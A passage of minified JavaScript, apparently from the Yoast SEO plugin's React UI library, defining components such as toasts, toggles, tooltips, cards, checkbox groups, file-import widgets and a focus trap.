Yn=Qn,Zn={size:{1:"yst-title--1",2:"yst-title--2",3:"yst-title--3",4:"yst-title--4",5:"yst-title--5"}},Xn=(0,i.forwardRef)((({children:t,as:n,size:a,className:s,...o},i)=>l().createElement(n,e({ref:i,className:r()("yst-title",Zn.size[a||n[1]],s)},o),t)));Xn.displayName="Title",Xn.propTypes={children:o().node.isRequired,as:o().elementType,size:o().oneOf(Object.keys(Zn.size)),className:o().string},Xn.defaultProps={as:"h1",size:void 0,className:""};const Jn=Xn,ea=(0,i.createContext)({handleDismiss:c.noop}),ta=()=>(0,i.useContext)(ea),na={position:{"bottom-center":"yst-translate-y-full","bottom-left":"yst-translate-y-full","top-center":"yst--translate-y-full"}},aa=({dismissScreenReaderLabel:e})=>{const{handleDismiss:t}=ta();return l().createElement("div",{className:"yst-flex-shrink-0 yst-flex yst-self-start"},l().createElement("button",{type:"button",onClick:t,className:"yst-bg-transparent yst-rounded-md yst-inline-flex yst-text-slate-400 hover:yst-text-slate-500 focus:yst-outline-none focus:yst-ring-2 focus:yst-ring-offset-2 focus:yst-ring-primary-500"},l().createElement("span",{className:"yst-sr-only"},e),l().createElement(gt,{className:"yst-h-5 yst-w-5"})))};aa.propTypes={dismissScreenReaderLabel:o().string.isRequired};const ra=({description:e,className:t=""})=>(0,c.isArray)(e)?l().createElement("ul",{className:r()("yst-list-disc yst-ml-4",t)},e.map(((e,t)=>l().createElement("li",{className:"yst-pt-1",key:`${e}-${t}`},e)))):l().createElement("p",{className:t},e);ra.propTypes={description:o().oneOfType([o().node,o().arrayOf(o().node)]),className:o().string};const sa=({title:e,className:t=""})=>l().createElement("p",{className:r()("yst-text-sm yst-font-medium yst-text-slate-800",t)},e);sa.propTypes={title:o().string.isRequired,className:o().string};const oa=({children:e,id:t,className:n="",position:a="bottom-left",onDismiss:s=c.noop,autoDismiss:o=null,isVisible:d,setIsVisible:u})=>{const p=(0,i.useCallback)((()=>{u(!1),setTimeout((()=>{s(t)}),150)}),[s,t]);return(0,i.useEffect)((()=>{let e;return u(!0),o&&(e=setTimeout((()=>{p()}),o)),()=>clearTimeout(e)}),[]),l().createElement(ea.Provider,{value:{handleDismiss:p}},l().createElement(vt,{show:d,enter:"yst-transition yst-ease-in-out yst-duration-150",enterFrom:r()("yst-opacity-0",na.position[a]),enterTo:"yst-translate-y-0",leave:"yst-transition yst-ease-in-out yst-duration-150",leaveFrom:"yst-translate-y-0",leaveTo:r()("yst-opacity-0",na.position[a]),className:r()("yst-toast",n),role:"alert"},e))};oa.propTypes={children:o().node,id:o().string.isRequired,className:o().string,position:o().string,onDismiss:o().func,autoDismiss:o().number,isVisible:o().bool.isRequired,setIsVisible:o().func.isRequired},oa.Close=aa,oa.Description=ra,oa.Title=sa;const ia=oa;let la=(0,i.createContext)(null);function ca(){let e=(0,i.useContext)(la);if(null===e){let e=new Error("You used a <Label /> component, but it is not inside a relevant parent.");throw Error.captureStackTrace&&Error.captureStackTrace(e,ca),e}return e}let da=ve((function(e,t){let n=B(),{id:a=`headlessui-label-${n}`,passive:r=!1,...s}=e,o=ca(),i=ie(t);_((()=>o.register(a)),[a,o.register]);let l={ref:i,...o.props,id:a};return r&&("onClick"in l&&delete l.onClick,"onClick"in s&&delete s.onClick),fe({ourProps:l,theirProps:s,slot:o.slot||{},defaultTag:"label",name:o.name||"Label"})})),ua=(0,i.createContext)(null);function pa(){let e=(0,i.useContext)(ua);if(null===e){let e=new Error("You used a <Description /> component, but it is not inside a relevant parent.");throw Error.captureStackTrace&&Error.captureStackTrace(e,pa),e}return e}function ma(){let[e,t]=(0,i.useState)([]);return[e.length>0?e.join(" "):void 0,(0,i.useMemo)((()=>function(e){let n=q((e=>(t((t=>[...t,e])),()=>t((t=>{let n=t.slice(),a=n.indexOf(e);return-1!==a&&n.splice(a,1),n}))))),a=(0,i.useMemo)((()=>({register:n,slot:e.slot,name:e.name,props:e.props})),[n,e.slot,e.name,e.props]);return i.createElement(ua.Provider,{value:a},e.children)}),[t])]}let fa=ve((function(e,t){let n=B(),{id:a=`headlessui-description-${n}`,...r}=e,s=pa(),o=ie(t);return _((()=>s.register(a)),[a,s.register]),fe({ourProps:{ref:o,...s.props,id:a},theirProps:r,slot:s.slot||{},defaultTag:"p",name:s.name||"Description"})})),ya=(0,i.createContext)(null);ya.displayName="GroupContext";let ba=i.Fragment,va=ve((function(e,t){let n=B(),{id:a=`headlessui-switch-${n}`,checked:r,defaultChecked:s=!1,onChange:o,name:l,value:c,...d}=e,u=(0,i.useContext)(ya),p=(0,i.useRef)(null),m=ie(p,t,null===u?null:u.setSwitch),[f,y]=_e(r,o,s),b=q((()=>null==y?void 0:y(!f))),v=q((e=>{if(Ne(e.currentTarget))return e.preventDefault();e.preventDefault(),b()})),g=q((e=>{e.key===Pe.Space?(e.preventDefault(),b()):e.key===Pe.Enter&&function(e){var t;let n=null!=(t=null==e?void 0:e.form)?t:e.closest("form");if(n)for(let e of n.elements)if("INPUT"===e.tagName&&"submit"===e.type||"BUTTON"===e.tagName&&"submit"===e.type||"INPUT"===e.nodeName&&"image"===e.type)return void e.click()}(e.currentTarget)})),h=q((e=>e.preventDefault())),N=(0,i.useMemo)((()=>({checked:f})),[f]),E={id:a,ref:m,role:"switch",type:re(e,p),tabIndex:0,"aria-checked":f,"aria-labelledby":null==u?void 0:u.labelledby,"aria-describedby":null==u?void 0:u.describedby,onClick:v,onKeyUp:g,onKeyPress:h},x=M();return(0,i.useEffect)((()=>{var e;let t=null==(e=p.current)?void 0:e.closest("form");!t||void 0!==s&&x.addEventListener(t,"reset",(()=>{y(s)}))}),[p,y]),i.createElement(i.Fragment,null,null!=l&&f&&i.createElement(Te,{features:we.Hidden,...ge({as:"input",type:"checkbox",hidden:!0,readOnly:!0,checked:f,name:l,value:c})}),fe({ourProps:E,theirProps:d,slot:N,defaultTag:"button",name:"Switch"}))})),ga=Object.assign(va,{Group:function(e){let[t,n]=(0,i.useState)(null),[a,r]=function(){let[e,t]=(0,i.useState)([]);return[e.length>0?e.join(" "):void 0,(0,i.useMemo)((()=>function(e){let n=q((e=>(t((t=>[...t,e])),()=>t((t=>{let n=t.slice(),a=n.indexOf(e);return-1!==a&&n.splice(a,1),n}))))),a=(0,i.useMemo)((()=>({register:n,slot:e.slot,name:e.name,props:e.props})),[n,e.slot,e.name,e.props]);return i.createElement(la.Provider,{value:a},e.children)}),[t])]}(),[s,o]=ma(),l=(0,i.useMemo)((()=>({switch:t,setSwitch:n,labelledby:a,describedby:s})),[t,n,a,s]),c=e;return i.createElement(o,{name:"Switch.Description"},i.createElement(r,{name:"Switch.Label",props:{onClick(){!t||(t.click(),t.focus({preventScroll:!0}))}}},i.createElement(ya.Provider,{value:l},fe({ourProps:{},theirProps:c,defaultTag:ba,name:"Switch.Group"}))))},Label:da,Description:fa});const ha=(0,i.forwardRef)((({id:t,as:n,checked:a,screenReaderLabel:s,onChange:o,disabled:i,className:u,type:p,...m},f)=>{const y=d();return l().createElement(ga,e({ref:f,as:n,checked:a,disabled:i,onChange:i?c.noop:o,className:r()("yst-toggle",a&&"yst-toggle--checked",i&&"yst-toggle--disabled",u),"data-id":t},m,{type:"button"===n?"button":p}),l().createElement("span",{className:"yst-sr-only"},s),l().createElement("span",{className:"yst-toggle__handle"},l().createElement(vt,{show:a,unmount:!1,as:"span","aria-hidden":!a,enter:"",enterFrom:"yst-opacity-0 yst-hidden",enterTo:"yst-opacity-100",leaveFrom:"yst-opacity-100",leaveTo:"yst-opacity-0 yst-hidden"},l().createElement(ht,e({className:"yst-toggle__icon yst-toggle__icon--check"},y))),l().createElement(vt,{show:!a,unmount:!1,as:"span","aria-hidden":a,enterFrom:"yst-opacity-0 yst-hidden",enterTo:"yst-opacity-100",leaveFrom:"yst-opacity-100",leaveTo:"yst-opacity-0 yst-hidden"},l().createElement($n,e({className:"yst-toggle__icon yst-toggle__icon--x"},y)))))}));ha.displayName="Toggle",ha.propTypes={as:o().elementType,id:o().string.isRequired,checked:o().bool,screenReaderLabel:o().string.isRequired,onChange:o().func.isRequired,disabled:o().bool,type:o().string,className:o().string},ha.defaultProps={as:"button",checked:!1,disabled:!1,type:"",className:""};const Na=ha,Ea={top:"yst-tooltip--top",right:"yst-tooltip--right",bottom:"yst-tooltip--bottom",left:"yst-tooltip--left"},xa=(0,i.forwardRef)((({children:t,as:n,className:a,position:s,...o},i)=>l().createElement(n,e({ref:i,className:r()("yst-tooltip",Ea[s],a),role:"tooltip"},o),t)));xa.displayName="Tooltip",xa.propTypes={as:o().elementType,children:o().node,className:o().string,position:o().oneOf(Object.keys(Ea))},xa.defaultProps={as:"div",children:null,className:"",position:"top"};const Ra=xa,wa=(e,t)=>{const n=(0,i.useMemo)((()=>(0,c.reduce)(t,((t,n,a)=>n?(t[a]=`${e}__${a}`,t):t),{})),[e,t]),a=(0,i.useMemo)((()=>(0,c.values)(n).join(" ")||null),[n]);return{ids:n,describedBy:a}},Ta=(0,i.forwardRef)((({id:t,label:n,disabled:a,description:s,validation:o,className:i,...c},d)=>{const{ids:u,describedBy:p}=wa(t,{validation:null==o?void 0:o.message,description:s});return l().createElement("div",{className:r()("yst-autocomplete-field",a&&"yst-autocomplete-field--disabled",i)},l().createElement(Pt,e({ref:d,id:t,label:n,labelProps:{as:"label",className:"yst-label yst-autocomplete-field__label"},validation:o,className:"yst-autocomplete-field__select",buttonProps:{"aria-describedby":p},disabled:a},c)),(null==o?void 0:o.message)&&l().createElement(x,{variant:null==o?void 0:o.variant,id:u.validation,className:"yst-autocomplete-field__validation"},o.message),s&&l().createElement("div",{id:u.description,className:"yst-autocomplete-field__description"},s))}));Ta.displayName="AutocompleteField",Ta.propTypes={id:o().string.isRequired,label:o().string.isRequired,disabled:o().bool,description:o().node,validation:o().shape({variant:o().string,message:o().node}),className:o().string},Ta.defaultProps={disabled:!1,description:null,validation:{},className:""},Ta.Option=Pt.Option,Ta.Option.displayName="AutocompleteField.Option";const Oa=Ta,Ca=({as:t="div",children:n,className:a="",...s})=>l().createElement(t,e({},s,{className:r()("yst-card__header",a)}),n);Ca.propTypes={as:s.PropTypes.element,children:s.PropTypes.node.isRequired,className:s.PropTypes.string};const Sa=({as:t="div",children:n,className:a="",...s})=>l().createElement(t,e({},s,{className:r()("yst-card__content",a)}),n);Sa.propTypes={as:s.PropTypes.element,children:s.PropTypes.node.isRequired,className:s.PropTypes.string};const ka=({as:t="div",children:n,className:a="",...s})=>l().createElement(t,e({},s,{className:r()("yst-card__footer",a)}),n);ka.propTypes={as:s.PropTypes.element,children:s.PropTypes.node.isRequired,className:s.PropTypes.string};const Pa=(0,i.forwardRef)((({as:t,children:n,className:a,...s},o)=>l().createElement(t,e({},s,{className:r()("yst-card",a),ref:o}),n)));Pa.displayName="Card",Pa.propTypes={as:s.PropTypes.elementType,children:s.PropTypes.node.isRequired,className:s.PropTypes.string},Pa.defaultProps={as:"div",className:""},Pa.Header=Ca,Pa.Header.displayName="Card.Header",Pa.Content=Sa,Pa.Content.displayName="Card.Content",Pa.Footer=ka,Pa.Footer.displayName="Card.Footer";const _a=Pa,La=({children:t=null,id:n="",name:a="",values:s=[],label:o="",description:d="",disabled:u=!1,options:p,onChange:m=c.noop,className:f="",...y})=>{const b=(0,i.useCallback)((({target:e})=>{if(e.checked&&!(0,c.includes)(s,e.value))return m([...s,e.value]);m((0,c.without)(s,e.value))}),[s,m]);return l().createElement("fieldset",{id:`checkbox-group-${n}`,className:r()("yst-checkbox-group",u&&"yst-checkbox-group--disabled",f)},l().createElement(zt,{as:"legend",className:"yst-checkbox-group__label",label:o}),d&&l().createElement("div",{className:"yst-checkbox-group__description"},d),l().createElement("div",{className:"yst-checkbox-group__options"},t||p.map(((t,r)=>{const o=`checkbox-${n}-${r}`;return l().createElement(Vt,e({key:o,id:o,name:a,value:t.value,label:t.label,checked:(0,c.includes)(s,t.value),disabled:u,onChange:b},y))}))))};La.propTypes={children:o().node,id:o().string,name:o().string,values:o().arrayOf(o().string),label:o().string,disabled:o().bool,description:o().string,options:o().arrayOf(o().shape({value:o().string.isRequired,label:o().string.isRequired})),onChange:o().func,className:o().string},(La.Checkbox=Vt).displayName="CheckboxGroup.Checkbox";const Ia=La,Fa=window.yoast.reduxJsToolkit;function Da(e){return"string"==typeof e&&"%"===e[e.length-1]&&function(e){const t=parseFloat(e);return!isNaN(t)&&isFinite(t)}(e.substring(0,e.length-1))}function Ma(e,t){0===t&&(null==e?void 0:e.style)&&(e.style.display="none")}const qa={animating:"rah-animating",animatingUp:"rah-animating--up",animatingDown:"rah-animating--down",animatingToHeightZero:"rah-animating--to-height-zero",animatingToHeightAuto:"rah-animating--to-height-auto",animatingToHeightSpecific:"rah-animating--to-height-specific",static:"rah-static",staticHeightZero:"rah-static--height-zero",staticHeightAuto:"rah-static--height-auto",staticHeightSpecific:"rah-static--height-specific"};function Aa(e,t){return[e.static,0===t&&e.staticHeightZero,t>0&&e.staticHeightSpecific,"auto"===t&&e.staticHeightAuto].filter((e=>e)).join(" ")}const ja=e=>{var{animateOpacity:t=!1,animationStateClasses:n={},applyInlineTransitions:a=!0,children:r,className:s="",contentClassName:o,delay:l=0,duration:c=500,easing:d="ease",height:u,onHeightAnimationEnd:p,onHeightAnimationStart:m,style:f}=e,y=function(e,t){var n={};for(var a in e)Object.prototype.hasOwnProperty.call(e,a)&&t.indexOf(a)<0&&(n[a]=e[a]);if(null!=e&&"function"==typeof Object.getOwnPropertySymbols){var r=0;for(a=Object.getOwnPropertySymbols(e);r<a.length;r++)t.indexOf(a[r])<0&&Object.prototype.propertyIsEnumerable.call(e,a[r])&&(n[a[r]]=e[a[r]])}return n}(e,["animateOpacity","animationStateClasses","applyInlineTransitions","children","className","contentClassName","delay","duration","easing","height","onHeightAnimationEnd","onHeightAnimationStart","style"]);const b=(0,i.useRef)(u),v=(0,i.useRef)(null),g=(0,i.useRef)(),h=(0,i.useRef)(),N=(0,i.useRef)(Object.assign(Object.assign({},qa),n)),E="undefined"!=typeof window,x=(0,i.useRef)(!(!E||!window.matchMedia)&&window.matchMedia("(prefers-reduced-motion)").matches),R=x.current?0:l,w=x.current?0:c;let T=u,O="visible";"number"==typeof T?(T=u<0?0:u,O="hidden"):Da(T)&&(T="0%"===u?0:u,O="hidden");const[C,S]=(0,i.useState)(T),[k,P]=(0,i.useState)(O),[_,L]=(0,i.useState)(!1),[I,F]=(0,i.useState)(Aa(N.current,u));(0,i.useEffect)((()=>{Ma(v.current,C)}),[]),(0,i.useEffect)((()=>{if(u!==b.current&&v.current){!function(e,t){0===t&&(null==e?void 0:e.style)&&(e.style.display="")}(v.current,b.current),v.current.style.overflow="hidden";const e=v.current.offsetHeight;v.current.style.overflow="";const t=w+R;let n,a,r,s="hidden";const o="auto"===b.current;"number"==typeof u?(n=u<0?0:u,a=n):Da(u)?(n="0%"===u?0:u,a=n):(n=e,a="auto",s=void 0),o&&(a=n,n=e);const i=[N.current.animating,("auto"===b.current||u<b.current)&&N.current.animatingUp,("auto"===u||u>b.current)&&N.current.animatingDown,0===a&&N.current.animatingToHeightZero,"auto"===a&&N.current.animatingToHeightAuto,a>0&&N.current.animatingToHeightSpecific].filter((e=>e)).join(" "),l=Aa(N.current,a);S(n),P("hidden"),L(!o),F(i),clearTimeout(h.current),clearTimeout(g.current),o?(r=!0,h.current=setTimeout((()=>{S(a),P(s),L(r),null==m||m(a)}),50),g.current=setTimeout((()=>{L(!1),F(l),Ma(v.current,a),null==p||p(a)}),t)):(null==m||m(n),h.current=setTimeout((()=>{S(a),P(s),L(!1),F(l),"auto"!==u&&Ma(v.current,n),null==p||p(n)}),t))}return b.current=u,()=>{clearTimeout(h.current),clearTimeout(g.current)}}),[u]);const D=Object.assign(Object.assign({},f),{height:C,overflow:k||(null==f?void 0:f.overflow)});_&&a&&(D.transition=`height ${w}ms ${d} ${R}ms`,(null==f?void 0:f.transition)&&(D.transition=`${f.transition}, ${D.transition}`),D.WebkitTransition=D.transition);const M={};t&&(M.transition=`opacity ${w}ms ${d} ${R}ms`,M.WebkitTransition=M.transition,0===C&&(M.opacity=0));const q=void 0!==y["aria-hidden"]?y["aria-hidden"]:0===u;return i.createElement("div",Object.assign({},y,{"aria-hidden":q,className:`${I} ${s}`,style:D}),i.createElement("div",{className:o,style:M,ref:v},r))},Ba=(e=!0)=>{const[t,n]=(0,i.useState)(e),a=(0,i.useCallback)((()=>n(!t)),[t,n]),r=(0,i.useCallback)((()=>n(!0)),[n]),s=(0,i.useCallback)((()=>n(!1)),[n]);return[t,a,n,r,s]},Ha=({limit:e,children:t,renderButton:n,initialShow:a=!1,id:r=""})=>{const[s,o]=Ba(a),d=(0,i.useMemo)((()=>(0,c.flatten)(t)),[t]),u=(0,i.useMemo)((()=>(0,c.slice)(d,0,e)),[d]),p=(0,i.useMemo)((()=>(0,c.slice)(d,e)),[d]),m=(0,i.useMemo)((()=>r||`yst-animate-height-${(0,Fa.nanoid)()}`),[r]),f=(0,i.useMemo)((()=>({"aria-expanded":s,"aria-controls":m})),[s,m]);return e<0||d.length<=e?t:l().createElement(l().Fragment,null,u,l().createElement(ja,{id:m,easing:"ease-in-out",duration:300,height:s?"auto":0,animateOpacity:!0},p),n({show:s,toggle:o,ariaProps:f}))};Ha.propTypes={limit:o().number.isRequired,children:o().arrayOf(o().node).isRequired,renderButton:o().func.isRequired,initialShow:o().bool,id:o().string};const za=Ha,$a=i.forwardRef((function(e,t){return i.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor","aria-hidden":"true",ref:t},e),i.createElement("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 11V7a4 4 0 118 0m-4 8v2m-6 4h12a2 2 0 002-2v-6a2 2 0 00-2-2H6a2 2 0 00-2 2v6a2 2 0 002 2z"}))})),Va={variant:{default:"yst-feature-upsell--default",card:"yst-feature-upsell--card"}},Ua=({children:t,shouldUpsell:n=!0,className:a="",variant:s="card",cardLink:o="",cardText:i="",...c})=>{const u=d();return n?l().createElement("div",{className:r()("yst-feature-upsell",Va.variant[s],a)},l().createElement("div",{className:"yst-space-y-8 yst-grayscale"},t),l().createElement("div",{className:"yst-absolute yst-inset-0 yst-ring-1 yst-ring-black yst-ring-opacity-5 yst-shadow-lg yst-rounded-md"}),l().createElement("div",{className:"yst-absolute yst-inset-0 yst-flex yst-items-center yst-justify-center"},l().createElement(Bt,e({as:"a",className:"yst-gap-2 yst-shadow-lg yst-shadow-amber-700/30",variant:"upsell",href:o,target:"_blank",rel:"noopener"},c),l().createElement($a,e({className:"yst-w-5 yst-h-5 yst--ml-1 yst-shrink-0"},u)),i))):t};Ua.propTypes={children:o().node.isRequired,shouldUpsell:o().bool,className:o().string,variant:o().oneOf(Object.keys(Va.variant)),cardLink:o().string,cardText:o().string};const Wa=Ua,Ka=i.forwardRef((function(e,t){return i.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor","aria-hidden":"true",ref:t},e),i.createElement("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12h6m-6 4h6m2 5H7a2 2 0 01-2-2V5a2 2 0 012-2h5.586a1 1 0 01.707.293l5.414 5.414a1 1 0 01.293.707V19a2 2 0 01-2 2z"}))})),Ga=i.forwardRef((function(e,t){return i.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor","aria-hidden":"true",ref:t},e),i.createElement("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 13h6m-3-3v6m5 5H7a2 2 0 01-2-2V5a2 2 0 012-2h5.586a1 1 0 01.707.293l5.414 5.414a1 1 0 01.293.707V19a2 2 0 01-2 2z"}))})),Qa=(0,i.forwardRef)((({id:t,name:n,value:a,selectLabel:s,dropLabel:o,screenReaderLabel:d,selectDescription:u,disabled:p,iconAs:m,onChange:f,onDrop:y,className:b,...v},g)=>{const[h,N]=(0,i.useState)(!1),E=(0,i.useCallback)((e=>{e.preventDefault(),(0,c.isEmpty)(e.dataTransfer.items)||N(!0)}),[N]),x=(0,i.useCallback)((e=>{e.preventDefault(),N(!1)}),[N]),R=(0,i.useCallback)((e=>{e.preventDefault()}),[]),w=(0,i.useCallback)((e=>{e.preventDefault(),N(!1),y(e)}),[N,y]);return l().createElement("div",{onDragEnter:E,onDragLeave:x,onDragOver:R,onDrop:w,className:r()("yst-file-input",{"yst-is-drag-over":h,"yst-is-disabled":p,className:b})},l().createElement("div",{className:"yst-file-input__content"},l().createElement(m,{className:"yst-file-input__icon"}),l().createElement("div",{className:"yst-file-input__labels"},l().createElement("input",e({ref:g,type:"file",id:t,name:n,value:a,onChange:f,className:"yst-file-input__input","aria-labelledby":d,disabled:p},v)),l().createElement(Zt,{as:"label",htmlFor:t,className:"yst-file-input__select-label"},s),l().createElement("span",null," "),o),u&&l().createElement("span",null,u)))}));Qa.displayName="FileInput",Qa.propTypes={id:o().string.isRequired,name:o().string.isRequired,value:o().string.isRequired,selectLabel:o().string.isRequired,dropLabel:o().string.isRequired,screenReaderLabel:o().string.isRequired,selectDescription:o().string,disabled:o().bool,iconAs:o().elementType,onChange:o().func.isRequired,onDrop:o().func,className:o().string},Qa.defaultProps={selectDescription:"",disabled:!1,iconAs:Ga,className:"",onDrop:c.noop};const Ya=Qa,Za={idle:"idle",selected:"selected",loading:"loading",success:"success",aborted:"aborted",error:"error"},Xa=(0,i.createContext)({status:Za.idle}),Ja={enter:"yst-transition-opacity yst-ease-in-out yst-duration-1000 yst-delay-200",enterFrom:"yst-opacity-0",enterTo:"yst-opacity-100",leave:"yst-transition-opacity yst-ease-in-out yst-duration-200",leaveFrom:"yst-opacity-0",leaveTo:"yst-opacity-100",className:"yst-absolute"},er=e=>{const t=({children:t})=>{const{status:n}=(0,i.useContext)(Xa);return l().createElement(vt,{show:n===e,enter:"yst-transition-opacity yst-ease-in-out yst-duration-1000 yst-delay-200",enterFrom:"yst-opacity-0",enterTo:"yst-opacity-100",className:"yst-mt-6"},t)};return t.propTypes={children:o().node},t.displayName=`FileImport.${(0,c.capitalize)(e)}`,t},tr=(0,i.forwardRef)((({children:t="",id:n,name:a,selectLabel:r,dropLabel:s,screenReaderLabel:o,abortScreenReaderLabel:d,selectDescription:u,status:p,onChange:m,onAbort:f,feedbackTitle:y,feedbackDescription:b,progressMin:v,progressMax:g,progress:N},E)=>{const x=(0,i.useMemo)((()=>p===Za.selected),[p]),R=(0,i.useMemo)((()=>p===Za.loading),[p]),w=(0,i.useMemo)((()=>p===Za.success),[p]),T=(0,i.useMemo)((()=>p===Za.aborted),[p]),O=(0,i.useMemo)((()=>p===Za.error),[p]),C=(0,i.useMemo)((()=>(0,c.includes)([Za.selected,Za.loading,Za.success,Za.aborted,Za.error],p)),[p]),S=(0,i.useCallback)((e=>{(0,c.isEmpty)(e.target.files)||m(e.target.files[0])}),[m]),k=(0,i.useCallback)((e=>{if(!(0,c.isEmpty)(e.dataTransfer.files)){const t=e.dataTransfer.files[0];t&&m(t)}}),[m]);return l().createElement(Xa.Provider,{value:{status:p}},l().createElement("div",{className:"yst-file-import"},l().createElement(Ya,{ref:E,id:n,name:a,value:"",onChange:S,onDrop:k,className:"yst-file-import__input","aria-labelledby":o,disabled:R,selectLabel:r,dropLabel:s,screenReaderLabel:o,selectDescription:u}),l().createElement(vt,{show:C,enter:"yst-transition-opacity yst-ease-in-out yst-duration-1000 yst-delay-200",enterFrom:"yst-opacity-0",enterTo:"yst-opacity-100"},l().createElement("div",{className:"yst-file-import__feedback"},l().createElement("header",{className:"yst-file-import__feedback-header"},l().createElement("div",{className:"yst-file-import__feedback-figure"},l().createElement(Ka,null)),l().createElement("div",{className:"yst-flex-1"},l().createElement("span",{className:"yst-file-import__feedback-title"},y),l().createElement("p",{className:"yst-file-import__feedback-description"},b),!(0,c.isNull)(N)&&l().createElement(sn,{min:v,max:g,progress:N,className:"yst-mt-1.5"})),l().createElement("div",{className:"yst-relative yst-h-5 yst-w-5"},l().createElement(vt,e({show:x},Ja),l().createElement(h,{variant:"info",className:"yst-w-5 yst-h-5"})),l().createElement(vt,e({show:R},Ja),l().createElement("button",{type:"button",onClick:f,className:"yst-file-import__abort-button"},l().createElement("span",{className:"yst-sr-only"},d),l().createElement(gt,null))),l().createElement(vt,e({show:w},Ja),l().createElement(h,{variant:"success",className:"yst-w-5 yst-h-5"})),l().createElement(vt,e({show:T},Ja),l().createElement(h,{variant:"warning",className:"yst-w-5 yst-h-5"})),l().createElement(vt,e({show:O},Ja),l().createElement(h,{variant:"error",className:"yst-w-5 yst-h-5"})))),t))))}));tr.displayName="FileImport",tr.propTypes={children:o().node,id:o().string.isRequired,name:o().string.isRequired,selectLabel:o().string.isRequired,dropLabel:o().string.isRequired,screenReaderLabel:o().string.isRequired,abortScreenReaderLabel:o().string.isRequired,selectDescription:o().string,feedbackTitle:o().string.isRequired,feedbackDescription:o().string,progressMin:o().number,progressMax:o().number,progress:o().number,status:o().oneOf((0,c.values)(Za)),onChange:o().func.isRequired,onAbort:o().func.isRequired},tr.defaultProps={children:null,selectDescription:"",feedbackDescription:"",progressMin:null,progressMax:null,progress:null,status:Za.idle},tr.Selected=er(Za.selected),tr.Loading=er(Za.loading),tr.Success=er(Za.success),tr.Aborted=er(Za.aborted),tr.Error=er(Za.error);const nr=tr;var ar=(e=>(e[e.Forwards=0]="Forwards",e[e.Backwards=1]="Backwards",e))(ar||{});function rr(...e){return(0,i.useMemo)((()=>z(...e)),[...e])}function sr(e,t,n,a){let r=L(n);(0,i.useEffect)((()=>{function n(e){r.current(e)}return(e=null!=e?e:window).addEventListener(t,n,a),()=>e.removeEventListener(t,n,a)}),[e,t,a])}var or=(e=>(e[e.None=1]="None",e[e.InitialFocus=2]="InitialFocus",e[e.TabLock=4]="TabLock",e[e.FocusLock=8]="FocusLock",e[e.RestoreFocus=16]="RestoreFocus",e[e.All=30]="All",e))(or||{});let ir=Object.assign(ve((function(e,t){let n=(0,i.useRef)(null),a=ie(n,t),{initialFocus:r,containers:s,features:o=30,...l}=e;A()||(o=1);let c=rr(n);!function({ownerDocument:e},t){let n=(0,i.useRef)(null);sr(null==e?void 0:e.defaultView,"focusout",(e=>{!t||n.current||(n.current=e.target)}),!0),Le((()=>{t||((null==e?void 0:e.activeElement)===(null==e?void 0:e.body)&&Z(n.current),n.current=null)}),[t]);let a=(0,i.useRef)(!1);(0,i.useEffect)((()=>(a.current=!1,()=>{a.current=!0,F((()=>{!a.current||(Z(n.current),n.current=null)}))})),[])}({ownerDocument:c},Boolean(16&o));let d=function({ownerDocument:e,container:t,initialFocus:n},a){let r=(0,i.useRef)(null),s=tt();return Le((()=>{if(!a)return;let o=t.current;!o||F((()=>{if(!s.current)return;let t=null==e?void 0:e.activeElement;if(null!=n&&n.current){if((null==n?void 0:n.current)===t)return void(r.current=t)}else if(o.contains(t))return void(r.current=t);null!=n&&n.current?Z(n.current):ee(o,W.First)===K.Error&&console.warn("There are no focusable elements inside the <FocusTrap />"),r.current=null==e?void 0:e.activeElement}))}),[a]),r}({ownerDocument:c,container:n,initialFocus:r},Boolean(2&o));!function({ownerDocument:e,container:t,containers:n,previousActiveElement:a},r){let s=tt();sr(null==e?void 0:e.defaultView,"focus",(e=>{if(!r||!s.current)return;let o=new Set(null==n?void 0:n.current);o.add(t);let i=a.current;if(!i)return;let l=e.target;l&&l instanceof HTMLElement?lr(o,l)?(a.current=l,Z(l)):(e.preventDefault(),e.stopPropagation(),Z(i)):Z(a.current)}),!0)}({ownerDocument:c,container:n,containers:s,previousActiveElement:d},Boolean(8&o));let u=function(){let e=(0,i.useRef)(0);return function(e,t,n){let a=L(t);(0,i.useEffect)((()=>{function t(e){a.current(e)}return window.addEventListener(e,t,n),()=>window.removeEventListener(e,t,n)}),[e,n])}("keydown",(t=>{"Tab"===t.key&&(e.current=t.shiftKey?1:0)}),!0),e}(),p=q((e=>{let t=n.current;t&&H(u.current,{[ar.Forwards]:()=>{ee(t,W.First,{skipElements:[e.relatedTarget]})},[ar.Backwards]:()=>{ee(t,W.Last,{skipElements:[e.relatedTarget]})}})})),m=M(),f=(0,i.useRef)(!1),y={ref:a,onKeyDown(e){"Tab"==e.key&&(f.current=!0,m.requestAnimationFrame((()=>{f.current=!1})))},onBlur(e){let t=new Set(null==s?void 0:s.current);t.add(n);let a=e.relatedTarget;a instanceof HTMLElement&&"true"!==a.dataset.headlessuiFocusGuard&&(lr(t,a)||(f.current?ee(n.current,H(u.current,{[ar.Forwards]:()=>W.Next,[ar.Backwards]:()=>W.Previous})|W.WrapAround,{relativeTo:e.target}):e.target instanceof HTMLElement&&Z(e.target)))}};return i.createElement(i.Fragment,null,Boolean(4&o)&&i.createElement(Te,{as:"button",type:"button","data-headlessui-focus-guard":!0,onFocus:p,features:we.Focusable}),fe({ourProps:y,theirProps:l,defaultTag:"div",name:"FocusTrap"}),Boolean(4&o)&&i.createElement(Te,{as:"button",type:"button","data-headlessui-focus-guard":!0,onFocus:p,features:we.Focusable}))})),{features:or});function lr(e,t){var n;for(let a of e)if(null!=(n=a.current)&&n.contains(t))return!0;return!1}let cr=new Set,dr=new Map;function ur(e){e.setAttribute("aria-hidden","true"),e.inert=!0}function pr(e){let t=dr.get(e);!t||(null===t["aria-hidden"]?e.removeAttribute("aria-hidden"):e.setAttribute("aria-hidden",t["aria-hidden"]),e.inert=t.inert)}const mr=window.ReactDOM;let fr=(0,i.createContext)(!1);function yr(){return(0,i.useContext)(fr)}function br(e){return i.createElement(fr.Provider,{value:e.force},e.children)}let vr=i.Fragment,gr=ve((function(e,t){let 